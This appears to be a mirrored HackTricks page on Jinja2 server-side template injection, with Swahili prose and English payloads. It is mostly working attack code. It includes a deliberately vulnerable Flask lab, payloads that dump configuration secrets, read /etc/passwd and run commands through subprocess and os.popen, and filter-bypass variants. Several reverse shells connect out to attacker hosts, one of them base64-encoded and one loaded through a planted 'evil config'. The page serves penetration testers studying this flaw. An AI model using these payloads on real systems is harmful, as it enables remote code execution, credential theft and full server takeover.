mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
304 lines
14 KiB
Markdown
304 lines
14 KiB
Markdown
# Jinja2 SSTI
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
## **Lab**
|
|
```python
|
|
from flask import Flask, request, render_template_string
|
|
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def home():
|
|
if request.args.get('c'):
|
|
return render_template_string(request.args.get('c'))
|
|
else:
|
|
return "Hello, send someting inside the param 'c'!"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
## **Misc**
|
|
|
|
### **Kauli ya Uchunguzi**
|
|
|
|
Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya `debug` itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigezo bila kuweka debugger.
|
|
```python
|
|
<pre>
|
|
|
|
{% raw %}
|
|
{% debug %}
|
|
{% endraw %}
|
|
|
|
|
|
|
|
|
|
</pre>
|
|
```
|
|
### **Mwaga pembejeo zote za usanidi**
|
|
```python
|
|
{{ config }} #In these object you can find all the configured env variables
|
|
|
|
|
|
{% raw %}
|
|
{% for key, value in config.items() %}
|
|
<dt>{{ key|e }}</dt>
|
|
<dd>{{ value|e }}</dd>
|
|
{% endfor %}
|
|
{% endraw %}
|
|
|
|
|
|
```
|
|
## **Uingiliaji wa Jinja**
|
|
|
|
Kwanza kabisa, katika uingiliaji wa Jinja unahitaji **kupata njia ya kutoroka kutoka kwa sanduku la mchanga** na kupata upya ufikiaji wa mwendelezo wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji **kutumia vitu** ambavyo **vinatoka** kwenye **mazingira yasiyo ya sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga**.
|
|
|
|
### Kupata Vitu vya Kitaifa
|
|
|
|
Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu vya jina la mtumiaji (username) na barua pepe (email) **vinatoka kwenye mazingira ya python yasiyo ya sanduku** na vitapatikana ndani ya **mazingira ya sanduku**.\
|
|
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **vinapatikana daima kutoka kwa mazingira ya sanduku**, hivi ni:
|
|
```
|
|
[]
|
|
''
|
|
()
|
|
dict
|
|
config
|
|
request
|
|
```
|
|
### Kurejesha \<class 'object'>
|
|
|
|
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **`<class 'object'>`** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
|
|
|
|
Ili kufikia **darasa la kipengee** hicho, unahitaji **kufikia kipengee cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengee** tunaita **`__subclasses__()`**.
|
|
|
|
Angalia mifano hii:
|
|
```python
|
|
# To access a class object
|
|
[].__class__
|
|
''.__class__
|
|
()["__class__"] # You can also access attributes like this
|
|
request["__class__"]
|
|
config.__class__
|
|
dict #It's already a class
|
|
|
|
# From a class to access the class "object".
|
|
## "dict" used as example from the previous list:
|
|
dict.__base__
|
|
dict["__base__"]
|
|
dict.mro()[-1]
|
|
dict.__mro__[-1]
|
|
(dict|attr("__mro__"))[-1]
|
|
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
|
|
|
# From the "object" class call __subclasses__()
|
|
{{ dict.__base__.__subclasses__() }}
|
|
{{ dict.mro()[-1].__subclasses__() }}
|
|
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
|
|
|
{% raw %}
|
|
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
|
|
# Other examples using these ways
|
|
{{ ().__class__.__base__.__subclasses__() }}
|
|
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
|
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
|
{{ request.__class__.mro()[-1].__subclasses__() }}
|
|
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
# Not sure if this will work, but I saw it somewhere
|
|
{{ [].class.base.subclasses() }}
|
|
{{ ''.class.mro()[1].subclasses() }}
|
|
```
|
|
### Kutoroka RCE
|
|
|
|
**Baada ya kupata** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
|
|
|
|
Wito kwa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi tu kwa kupata **darasa la faili** ili **kusoma/kuandika faili** au darasa lolote lenye upatikanaji wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
|
|
|
|
**Soma/Andika faili za mbali**
|
|
```python
|
|
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
|
```
|
|
**RCE**
|
|
```python
|
|
# The class 396 is the class <class 'subprocess.Popen'>
|
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
|
|
# Without '{{' and '}}'
|
|
|
|
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
|
|
|
|
# Calling os.popen without guessing the index of the class
|
|
{% raw %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
|
|
|
## Passing the cmd line in a GET param
|
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
|
{% endraw %}
|
|
|
|
|
|
## Passing the cmd line ?cmd=id, Without " and '
|
|
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
|
|
|
```
|
|
Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kutoroka** unaweza **kuangalia**:
|
|
|
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
{% endcontent-ref %}
|
|
|
|
### Kupitisha vikwazo
|
|
|
|
#### Kupitisha kawaida
|
|
|
|
Hizi kupitisha zitaruhusu **upatikanaji** wa **sifa** za vitu **bila kutumia baadhi ya herufi**.\
|
|
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikusanye hapa:
|
|
```bash
|
|
# Without quotes, _, [, ]
|
|
## Basic ones
|
|
request.__class__
|
|
request["__class__"]
|
|
request['\x5f\x5fclass\x5f\x5f']
|
|
request|attr("__class__")
|
|
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
|
|
|
## Using request object options
|
|
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
|
request|attr(request.args.c) #Send a param like "?c=__class__
|
|
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
|
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
|
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
|
|
|
## Lists without "[" and "]"
|
|
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
|
|
|
# Using with
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
|
{% endraw %}
|
|
|
|
|
|
```
|
|
* [**Rudi hapa kwa chaguo zaidi za kupata kipengee cha ulimwengu**](jinja2-ssti.md#accessing-global-objects)
|
|
* [**Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
|
* [**Soma hii ili upate RCE bila darasa la kipengee**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
|
|
|
**Kuepuka uendeshaji wa HTML**
|
|
|
|
Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
|
|
```python
|
|
{{'<script>alert(1);</script>'}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **HTML encoded**, kama hivi:
|
|
```python
|
|
{{'<script>alert(1);</script>'|safe}}
|
|
#will be
|
|
<script>alert(1);</script>
|
|
```
|
|
**RCE kwa kuandika faili ya usanidi mbaya.**
|
|
```python
|
|
# evil config
|
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
|
|
|
# load the evil config
|
|
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
|
|
|
# connect to evil host
|
|
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
|
```
|
|
## Bila wahusika kadhaa
|
|
|
|
Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|
```python
|
|
{% raw %}
|
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
|
{% endraw %}
|
|
|
|
|
|
```
|
|
## Kuingiza Jinja bila **\<class 'object'>**
|
|
|
|
Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kufikia **RCE bila kutumia darasa hilo.**\
|
|
Ikiwa utafanikiwa kufikia **kazi** yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
|
|
|
|
Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vitu vingine **vya kimataifa** vinavyovutia ambavyo unaweza kufikia na:
|
|
```bash
|
|
{{ request.__class__.__dict__ }}
|
|
- application
|
|
- _load_form_data
|
|
- on_json_loading_failed
|
|
|
|
{{ config.__class__.__dict__ }}
|
|
- __init__
|
|
- from_envvar
|
|
- from_pyfile
|
|
- from_object
|
|
- from_file
|
|
- from_json
|
|
- from_mapping
|
|
- get_namespace
|
|
- __repr__
|
|
|
|
# You can iterate through children objects to find more
|
|
```
|
|
Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
|
|
```python
|
|
# Read file
|
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
|
|
|
# RCE
|
|
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
|
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
|
|
|
{% raw %}
|
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
|
{% endraw %}
|
|
|
|
## Extra
|
|
## The global from config have a access to a function called import_string
|
|
## with this function you don't need to access the builtins
|
|
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
|
|
|
# All the bypasses seen in the previous sections are also valid
|
|
```
|
|
## Marejeo
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
|
* Angalia [mbinu ya attr ya kudanganya herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
|
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
|
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|